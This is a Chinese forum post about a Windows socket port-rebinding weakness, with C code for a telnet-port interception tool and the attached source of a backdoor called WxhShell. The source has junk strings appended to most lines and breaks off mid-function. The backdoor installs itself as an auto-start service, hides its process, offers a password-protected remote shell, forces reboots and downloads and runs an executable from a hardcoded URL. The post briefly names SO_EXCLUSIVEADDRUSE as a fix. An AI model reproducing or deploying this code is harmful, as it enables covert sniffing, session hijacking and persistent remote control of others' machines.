社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 19689阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Z=|:D,&  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2shr&M fp[  
m@;X%wf<U  
  saddr.sin_family = AF_INET; UN'hnqC  
CtTG`)"|  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ?9mFI(r~  
1t+]r:{  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 2/ PaXI/Z  
~j^HDHY@  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 T|GRkxd,E3  
,v4Z[ (  
  这意味着什么?意味着可以进行如下的攻击: X4!` V?  
F6dm_Oq&  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 8iB1a6TlL  
!sfOde)$  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 8E H# IiP  
sycN  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 u3R0_8 _.w  
9IIQon  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Vz1ro  
lj/ ?P9  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 i*:lZeU61  
v}Gq.(b  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 j/TsHJ=  
>k<.bEx(A  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ?5K.#>{  
FTI[YR8?Y  
  #include 5JK{dis]k  
  #include 2P`hdg  
  #include bU/5ug.  
  #include    ;eI,1 [_  
  DWORD WINAPI ClientThread(LPVOID lpParam);   K 4j'e6  
  int main() x/ {  
  { BT: =  
  WORD wVersionRequested; 8c`g{ *z  
  DWORD ret; *LOpbf  
  WSADATA wsaData; S) Sv4Qm  
  BOOL val; .t.H(Q9  
  SOCKADDR_IN saddr; 3;Kv9i<~LE  
  SOCKADDR_IN scaddr; .n[!3X|d  
  int err; kLU$8L  
  SOCKET s; XE[~! >'  
  SOCKET sc; {wih)XNY  
  int caddsize; $xNM^O  
  HANDLE mt; 7FW!3~3A_  
  DWORD tid;   JBtcl# |  
  wVersionRequested = MAKEWORD( 2, 2 ); SSY E&  
  err = WSAStartup( wVersionRequested, &wsaData ); fKY6stJE  
  if ( err != 0 ) { eL JW  
  printf("error!WSAStartup failed!\n"); _Ft4F`pM  
  return -1;  Aa[p7{e  
  } |Kky+*  
  saddr.sin_family = AF_INET; %k_R;/fjW  
   GM%%7^uE  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 DDq*#;dP  
N&K:Jp  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); tH,}_Bp  
  saddr.sin_port = htons(23); v T2YX5k&,  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *.K+"WS%  
  { DlC`GZEtqh  
  printf("error!socket failed!\n"); 8fKt6T  
  return -1; r@5_LD@f  
  } YK!nV ,  
  val = TRUE; f;!1=/5u-  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 L#Uk=  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) sDTCV8"w  
  { n"N!76  
  printf("error!setsockopt failed!\n"); ~Os"dAgZFY  
  return -1; oFB~)}f<v  
  } V%g$LrLVe  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 6Db1mvSe  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 1Y6<i8  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 }`E5I&r4  
6T! *YrS  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 2Vas`/~u~  
  { `*mctjSN  
  ret=GetLastError(); IeLG/ fB  
  printf("error!bind failed!\n"); R$X1Q/#md  
  return -1; }dX[u`zQ  
  } N`1:U 4}  
  listen(s,2); 2>p K  
  while(1) 58\Rl  
  { L}UJ`U  
  caddsize = sizeof(scaddr); PVH^yWi n  
  //接受连接请求 0+jR,5 |  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); :CH "cbo  
  if(sc!=INVALID_SOCKET) yoGe^gar  
  { ~UA-GWb  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); X1?7}VO  
  if(mt==NULL) =kH7   
  { U+>!DtOYK  
  printf("Thread Creat Failed!\n"); X<dQq`kZ  
  break; `CA-s  
  } ^\Tde*48  
  } De%WT:v  
  CloseHandle(mt); `[3Iz$K=  
  } _U(b  
  closesocket(s); -CtLL _I  
  WSACleanup(); ,l^; ZE  
  return 0; }R4%%)j(Vj  
  }   |=L~>G  
  DWORD WINAPI ClientThread(LPVOID lpParam) ^2%_AP0=  
  { :IlRn`9X`  
  SOCKET ss = (SOCKET)lpParam; B{$4s8XU  
  SOCKET sc; j&,,~AZm  
  unsigned char buf[4096]; A;7p  
  SOCKADDR_IN saddr; 0O<g) %Vz>  
  long num; xpCzx=n3.m  
  DWORD val; F$<>JEdX  
  DWORD ret; Nd'+s>d0  
  //如果是隐藏端口应用的话,可以在此处加一些判断 XdE#l/#  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   )#n0~7 &  
  saddr.sin_family = AF_INET; |TL&#U  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 1DVu`<OXcH  
  saddr.sin_port = htons(23); xS?[v&"2  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^ZV1Ev8T6  
  { RAYDl=}  
  printf("error!socket failed!\n"); f1w&D ]|S+  
  return -1; rOQ@(aUAZ  
  } d2`m0U  
  val = 100;  Aq674   
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) K>iM6Uv  
  { H&\[iZ| -N  
  ret = GetLastError(); d.Wq@(ZoA  
  return -1; aNLRUdc.  
  } 6$$4!R-  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) c<-F_+[  
  { 11t+ a,fM  
  ret = GetLastError(); .RF ijr  
  return -1; DuX7  
  } {`?C5<r  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) *'4+kj7>  
  { %EkV-%o*  
  printf("error!socket connect failed!\n"); =?g26>dYo  
  closesocket(sc); Z-X(. Q  
  closesocket(ss); CeQL8yJ;  
  return -1; {R<0 'JU  
  } ziZLw$ )  
  while(1) *W,tq(%tQ  
  { J&Ig%&/  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 g$ bbm}6S  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 x}v]JEIf[Q  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。  gP%S{<.?  
  num = recv(ss,buf,4096,0); >xrO W`p ]  
  if(num>0) tQ0iie1Ys  
  send(sc,buf,num,0); ?.Mw  
  else if(num==0) ERD( qL.J  
  break; f$#--*  
  num = recv(sc,buf,4096,0); r+%:rFeX  
  if(num>0) 2..b/  
  send(ss,buf,num,0); /$ Gp<.z  
  else if(num==0) zURxXo/\V  
  break; cV^r_E\m  
  } "Kky|(EQ$$  
  closesocket(ss); N fe  
  closesocket(sc); v"wxHro  
  return 0 ; &j=Fx F9o  
  } n7-|\p!xP6  
z H$^.1  
jZwv !-:  
========================================================== /g$cQ=c  
yF2|w=!  
下边附上一个代码,,WXhSHELL tg =ClZ-  
^w]N#%k\H  
========================================================== yKupPp);  
pFE&`T@ <  
#include "stdafx.h" ^6R Sbi\  
1eQfc{[g  
#include <stdio.h> rXl ~D!  
#include <string.h> F<FNZQ@<U  
#include <windows.h> -Pds7}F8  
#include <winsock2.h> .U}"ONd9e  
#include <winsvc.h> +9mE1$C  
#include <urlmon.h> jw63sn  
;k1 \-  
#pragma comment (lib, "Ws2_32.lib") {2jetX`@h  
#pragma comment (lib, "urlmon.lib") <X@XbM  
w7Fz(`\  
#define MAX_USER   100 // 最大客户端连接数 )}ygzKEa  
#define BUF_SOCK   200 // sock buffer } U <T>0  
#define KEY_BUFF   255 // 输入 buffer uWm,mGd9  
G bW1Lq&"  
#define REBOOT     0   // 重启 0_nY70B  
#define SHUTDOWN   1   // 关机 X}"Ic@8  
D*7JE  
#define DEF_PORT   5000 // 监听端口 Y)~Y;;/G  
Y:o\qr!Y  
#define REG_LEN     16   // 注册表键长度 %DyukUJ  
#define SVC_LEN     80   // NT服务名长度 >fZ N?>`  
JH3$G,:zM  
// 从dll定义API |5J'`1W  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); GxH]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); o8<0#W@S  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); b!(ew`Y;  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )9F o  
u7PtGN0r%  
// wxhshell配置信息 4I"%GN[tA  
struct WSCFG { z"7I5N  
  int ws_port;         // 监听端口 BhAWIH8@C  
  char ws_passstr[REG_LEN]; // 口令 ]oOSL=~c  
  int ws_autoins;       // 安装标记, 1=yes 0=no x? 10^~R  
  char ws_regname[REG_LEN]; // 注册表键名 %63zQFk  
  char ws_svcname[REG_LEN]; // 服务名 g2?kC^=z=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #>O!N  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2pr#qh8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 hA?Flq2QV  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 0%x"Va~"z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" hM_0/o-  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [D;wB|+,  
n8h1S lK08  
}; j?c"BF.  
kSL7WQe?j  
// default Wxhshell configuration ,=TY:U;?  
struct WSCFG wscfg={DEF_PORT, V]E# N  
    "xuhuanlingzhe", g+( Cs  
    1, [p&n]T  
    "Wxhshell", rE->z  
    "Wxhshell", @*Y"[\"$  
            "WxhShell Service", 7(8i~}  
    "Wrsky Windows CmdShell Service", :?uUh  
    "Please Input Your Password: ", 31VDlcn E  
  1, tW^oa  
  "http://www.wrsky.com/wxhshell.exe", gu1:%raXd  
  "Wxhshell.exe" WFr;z*  
    }; F!k3/z  
&^q!,7.J  
// 消息定义模块 c:*[HO\  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [ADSGnw  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 9_=0:GH k  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; aNt+;M7g`  
char *msg_ws_ext="\n\rExit."; 4*`AYx(  
char *msg_ws_end="\n\rQuit."; vJ +sdG  
char *msg_ws_boot="\n\rReboot..."; c+BD37S  
char *msg_ws_poff="\n\rShutdown..."; 8-JOfq}s  
char *msg_ws_down="\n\rSave to "; ^l,(~03_  
VL =19[  
char *msg_ws_err="\n\rErr!"; T<o^f n,H  
char *msg_ws_ok="\n\rOK!"; EWb'#+BP  
k<&zVV '  
char ExeFile[MAX_PATH]; XY_hTHJ  
int nUser = 0;  dmR>u  
HANDLE handles[MAX_USER]; %yyvB5Y^  
int OsIsNt; RZY[DoF8u  
s0zN#'o]  
SERVICE_STATUS       serviceStatus; E{wnhsl{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; sn!E$ls3O  
Q1 t-Z; X  
// 函数声明 kT@m*Etr{  
int Install(void); DPWt=IFU  
int Uninstall(void); KF.O>c87&  
int DownloadFile(char *sURL, SOCKET wsh); lRk)  
int Boot(int flag); g)3HVAT  
void HideProc(void); Vx Vpl@  
int GetOsVer(void); k^H&IS!  
int Wxhshell(SOCKET wsl); thU9s%,  
void TalkWithClient(void *cs); =00c1v  
int CmdShell(SOCKET sock); Mzg zOM  
int StartFromService(void); c 5%uiv]  
int StartWxhshell(LPSTR lpCmdLine); X[SdDYMY  
>P<8E2}*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 04j]W]8#  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  =8o$  
]\JLlQ}#H  
// 数据结构和表定义 hR4\:s+[  
SERVICE_TABLE_ENTRY DispatchTable[] = gR\z#Sg  
{ aAbK{=/y_!  
{wscfg.ws_svcname, NTServiceMain}, &g.do?  
{NULL, NULL} cko^_V&x  
}; O|} p=ny  
IgmCZ?l&0  
// 自我安装 |&oTxx$S  
int Install(void) sQ}E4Iq1#S  
{ *HONA>u   
  char svExeFile[MAX_PATH]; FHK{cE  
  HKEY key; A3 uF 0A  
  strcpy(svExeFile,ExeFile); hEh` cBO  
%&5PZmnW  
// 如果是win9x系统,修改注册表设为自启动 /g]NC?  
if(!OsIsNt) { IDY2X+C#U  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3 0.&Lzz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6"L,#aKm^  
  RegCloseKey(key); "*bP @W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7W MF8(j5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nb~592u  
  RegCloseKey(key); U[R[VY7  
  return 0; n1Wo<$#  
    } v[2N-  
  } '8"nXuL-  
} eY V Jk7  
else { YlhyZ&a,  
D#k ~lEPub  
// 如果是NT以上系统,安装为系统服务 u~~H'*EM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =j"bLX6;  
if (schSCManager!=0) _2a)b(<tF  
{ \zT{zO&!  
  SC_HANDLE schService = CreateService KaIkO8Dq0  
  ( ~(;HkT  
  schSCManager, |V&E q>G  
  wscfg.ws_svcname, ] :SbvsPm  
  wscfg.ws_svcdisp, 8yC/:_ML  
  SERVICE_ALL_ACCESS, hDf!l$e.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *}'3|e4w}  
  SERVICE_AUTO_START, Qx_]oz]NY  
  SERVICE_ERROR_NORMAL, }Pm; xHnf&  
  svExeFile, S8,e `F  
  NULL, pSl4^$2XR  
  NULL, u_=^Bd   
  NULL, _u9bZ'  
  NULL, rU |%  
  NULL JKF/z@Vbe\  
  ); "!9FJ Y  
  if (schService!=0) U1)!X@F{  
  { 0O!A8FA0  
  CloseServiceHandle(schService); |4j'KM;U  
  CloseServiceHandle(schSCManager); bIXD(5y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); aT~=<rEDy  
  strcat(svExeFile,wscfg.ws_svcname); iOB*K)U1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $Xr4=9(|7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;r BbLM`  
  RegCloseKey(key); .Q!pQ"5  
  return 0; s>I~%+V.?:  
    } W) ?s''WE;  
  } F|&%Z(@a  
  CloseServiceHandle(schSCManager); n #S?fsQN  
} :I2spBx  
} "H\R*\-0  
B.4Or]  
return 1; 98Y1-Z^ .  
} fP/;t61Z  
;3\'}2^|l  
// 自我卸载 8xt8kf*k  
int Uninstall(void) wCEcMVT  
{ n+1`y8dy  
  HKEY key; f%/6kz  
@;X#/dZe  
if(!OsIsNt) { d-jZ5nl(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E^B3MyS^^  
  RegDeleteValue(key,wscfg.ws_regname); ) S-Fuq4i4  
  RegCloseKey(key); :0kKw=p1R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2Mu3] 2>  
  RegDeleteValue(key,wscfg.ws_regname); T[- %b9h>  
  RegCloseKey(key); ;qs^+  
  return 0; >-j( [%  
  } XG!^[ZDs  
} TPA*z9n+B  
} [M2xF<r6t  
else { |F +n7  
-HvJ&O.V$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); o]B2^Yq;x  
if (schSCManager!=0) 6Z5$cR_vC7  
{ &-L9ws  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ao"Z%#Jb~  
  if (schService!=0) -FS! v^  
  { RREl($$p  
  if(DeleteService(schService)!=0) { zbJ}@V  
  CloseServiceHandle(schService); ]Na;b  
  CloseServiceHandle(schSCManager); cv_t2m  
  return 0; : cPV08i  
  } fS3%  
  CloseServiceHandle(schService); XCT3:db  
  } %3yrX>Js  
  CloseServiceHandle(schSCManager); wlDo(]mj=O  
} ,U~in)\ U  
} qga\icQr  
rAk;8)O$  
return 1; Rl'xEtaN  
} xLP8*lvy  
24*3m&fA*K  
// 从指定url下载文件 t$PJ*F67M  
int DownloadFile(char *sURL, SOCKET wsh) (ZP e{;L.  
{ 1U(!%},  
  HRESULT hr; cR/e Zfl  
char seps[]= "/"; Gh}* <X;N  
char *token; hyY^$p+  
char *file; zVis"g`  
char myURL[MAX_PATH]; P]7s1kgaS  
char myFILE[MAX_PATH]; iV:\,<8d  
AD >/#Ul  
strcpy(myURL,sURL); 9hgIQl  
  token=strtok(myURL,seps); 1[-RIN;U8  
  while(token!=NULL) rIX 40,`  
  { !Pu7%nV.  
    file=token; \==Mgy2J8  
  token=strtok(NULL,seps); r;O?`~2'4  
  } M"foP@  
Mo]iVj8~  
GetCurrentDirectory(MAX_PATH,myFILE); }Qh%Z)  
strcat(myFILE, "\\"); knzQ)iv&&  
strcat(myFILE, file); ]''tuo2g8  
  send(wsh,myFILE,strlen(myFILE),0); bd3>IWihp  
send(wsh,"...",3,0); #fF D|q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); qnzNJ_ `R  
  if(hr==S_OK) X^C $|:  
return 0; ]j.!   
else w$`u_P|@E:  
return 1; I.o3Old  
&-x/c\jz  
} D"K! ELGW  
xOZvQ\%  
// 系统电源模块 Q;@w\_ OR  
int Boot(int flag)  HS|x  
{ :I^4ILQCD  
  HANDLE hToken; M#yUdl7d  
  TOKEN_PRIVILEGES tkp; qJ$S3B  
xzRC %  
  if(OsIsNt) { 1?r$Rx<R  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |[!0ry*N%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); xRF_'|e  
    tkp.PrivilegeCount = 1; ?h8/\~Dw  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; P.~sNd oJ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); { h;i x  
if(flag==REBOOT) { &A^2hPe}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7>gW2 m  
  return 0; Si|8xq$E;  
} 7A  
else { AI .2os*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >Lz2zlZI  
  return 0; pe+m%;nzR  
} 72y!cK6  
  } gIcPKj"8${  
  else { ]xhH:kW4  
if(flag==REBOOT) { 2Mu(GUe;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) d_98%U+u  
  return 0; vf`]  
} QEEX|WM  
else { 'YEiT#+/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) e co=ia  
  return 0; !Tu.A@  
} l`];CALA4  
} !p)cP"fa  
Fh)YNW@  
return 1; ,=P0rbtK  
} Q?%v b  
v=H!Y";  
// win9x进程隐藏模块 87nsWBe  
void HideProc(void) CzT_$v_  
{ Vb2")+*:  
*c@]c~hY,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &J=x[{R  
  if ( hKernel != NULL ) S*rcXG6Q^  
  { YGLR%PYv"  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); qj?I*peK)  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); wJF$<f7P  
    FreeLibrary(hKernel); UOI Z8Po  
  } /zV0kW>N  
*tT5Zt/&Sr  
return; St1>J.k_  
} c{f1_qXN  
&l~=c2  
// 获取操作系统版本 =`%%*  
int GetOsVer(void) m$$98N  
{ 5xG/>f n  
  OSVERSIONINFO winfo; !Jo.Un7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *Xd_=@L&B  
  GetVersionEx(&winfo); O0"&wvR+5  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) i)e)FhEY6  
  return 1; SiJX5ydz  
  else q}5&B =2pM  
  return 0; PiIILX{DuH  
} 0M>%1 *  
lc0ZfC  
// 客户端句柄模块 NPR{g!tK%  
int Wxhshell(SOCKET wsl) !!t@ H\  
{  ]cI(||x  
  SOCKET wsh; ]%%cc  
  struct sockaddr_in client; k<S!|  
  DWORD myID; k4nA+k<WI`  
#kGxX@0  
  while(nUser<MAX_USER) 8%9OB5?F6  
{ BcoE&I?[m|  
  int nSize=sizeof(client); <kor;exeJ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %u|qAF2uS  
  if(wsh==INVALID_SOCKET) return 1; ~LzTqMHM  
>:P3j<xTv  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *'(dcy9  
if(handles[nUser]==0) x9CI>l  
  closesocket(wsh); UJF }Ye  
else z'X_ s.9F  
  nUser++; :ui1]its4  
  } N:/$N@"Ge  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); **O4"+Xi8  
Ljxn}):[  
  return 0; Sq==)$G  
} HM1y$ej  
 yQ8H-a.  
// 关闭 socket k .l,>s`!  
void CloseIt(SOCKET wsh) @.iOFY  
{ >heih%Ar0J  
closesocket(wsh); 3/@'tLtN  
nUser--; )u&_}6z  
ExitThread(0); 9~mi[l~  
} `0Q:d'  
7+u%]D!  
// 客户端请求句柄 OiY2l;68  
void TalkWithClient(void *cs) Vd^`Hv&i  
{ 73(T+6`  
"$8<\k$LGT  
  SOCKET wsh=(SOCKET)cs; et]*5Y6  
  char pwd[SVC_LEN]; bvR*sT#rg  
  char cmd[KEY_BUFF]; 49Ue2=PP#  
char chr[1]; @kwD$%*0  
int i,j; 7"JU)@ U]  
U>x2'B v  
  while (nUser < MAX_USER) { .]H]H*wC  
c\4n7m,y  
if(wscfg.ws_passstr) { iVu+ct-iv  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z?"5= "D  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); JT^E `<nn  
  //ZeroMemory(pwd,KEY_BUFF); c)E[K-u  
      i=0; I}v'n{5(  
  while(i<SVC_LEN) { )3B5"b,  
a\m10Ih:  
  // 设置超时  2 5ZGuM  
  fd_set FdRead; Da-(D<[0  
  struct timeval TimeOut; Ef`LBAfOO  
  FD_ZERO(&FdRead); $'FPst8Q<  
  FD_SET(wsh,&FdRead); 6eK^T=  
  TimeOut.tv_sec=8; e#HP+b$  
  TimeOut.tv_usec=0; [Iihk5TT  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3Yj}ra}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |PJW2PN  
-;`W"&`ss  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^Q:K$!  
  pwd=chr[0]; nLfnikw&  
  if(chr[0]==0xd || chr[0]==0xa) { *E)Y?9u"  
  pwd=0; F<(x z=  
  break; .DvAX(2v  
  } u\.sS|$  
  i++; f|^f^Hu:{  
    } }Rux<=cd|  
t2Y~MyT/  
  // 如果是非法用户,关闭 socket |b3/63Ri-0  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ju9v n44  
} ^:)&KV8D|  
wbS++cF<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 610k#$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (&nl}_`7?,  
S~Hj. d4/  
while(1) { $^0YK|F  
: }IS=A  
  ZeroMemory(cmd,KEY_BUFF); (P>vI'  
.yP 3}Nl  
      // 自动支持客户端 telnet标准   _5Ll L#)  
  j=0; F_Pd\Aq8  
  while(j<KEY_BUFF) { t@HE.h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >SGSn/AJi  
  cmd[j]=chr[0]; er#=xqUY  
  if(chr[0]==0xa || chr[0]==0xd) { X0$_KPn  
  cmd[j]=0; Go67VqJr  
  break; TnaIRJ\B  
  } 5#F+-9r  
  j++; ` cv:p|s  
    } 5UM[Iz  
5,((JxX$  
  // 下载文件 H= y-Y_R  
  if(strstr(cmd,"http://")) { Le'\x`B  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); r4lG 5dV  
  if(DownloadFile(cmd,wsh)) |5/[0V-vy  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); n{yjH*\Z  
  else M#>GU<4"  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "}EbA3  
  } 3U`.:w`  
  else { `3:%F>  
k1H0hDE  
    switch(cmd[0]) { C/Z"W@7#;  
  3*TS 4xX  
  // 帮助 (~GFd7  
  case '?': { -ur]k]R  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~Iu09t|a  
    break; ,{50zx2  
  } <XagkD  
  // 安装 m&%b;%,J  
  case 'i': { \nyFN  
    if(Install()) N9ufTlq s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7| T:TbY>  
    else ^Bb_NcU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HW G~m:km  
    break; Z9D4;1  
    } 5xHiq &d.E  
  // 卸载 hF1/=;>  
  case 'r': { 7GUJ&U) J  
    if(Uninstall()) ?:nZv< x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !T~d5^l!  
    else 1W g8jr's  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8( D}y\  
    break; yBj)#m5!  
    } Td >k \<  
  // 显示 wxhshell 所在路径 _2Z3?/Y  
  case 'p': { K5lp -F  
    char svExeFile[MAX_PATH]; F%d"gF0qu  
    strcpy(svExeFile,"\n\r"); ;^*!<F%t9R  
      strcat(svExeFile,ExeFile); `Vi:r9|P  
        send(wsh,svExeFile,strlen(svExeFile),0); NHF?73:  
    break; kI'A` /B l  
    } `[\phv  
  // 重启 ^-!HbbVv  
  case 'b': { [VW;L l  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); zFr}$  
    if(Boot(REBOOT)) 9%qMZP0]  
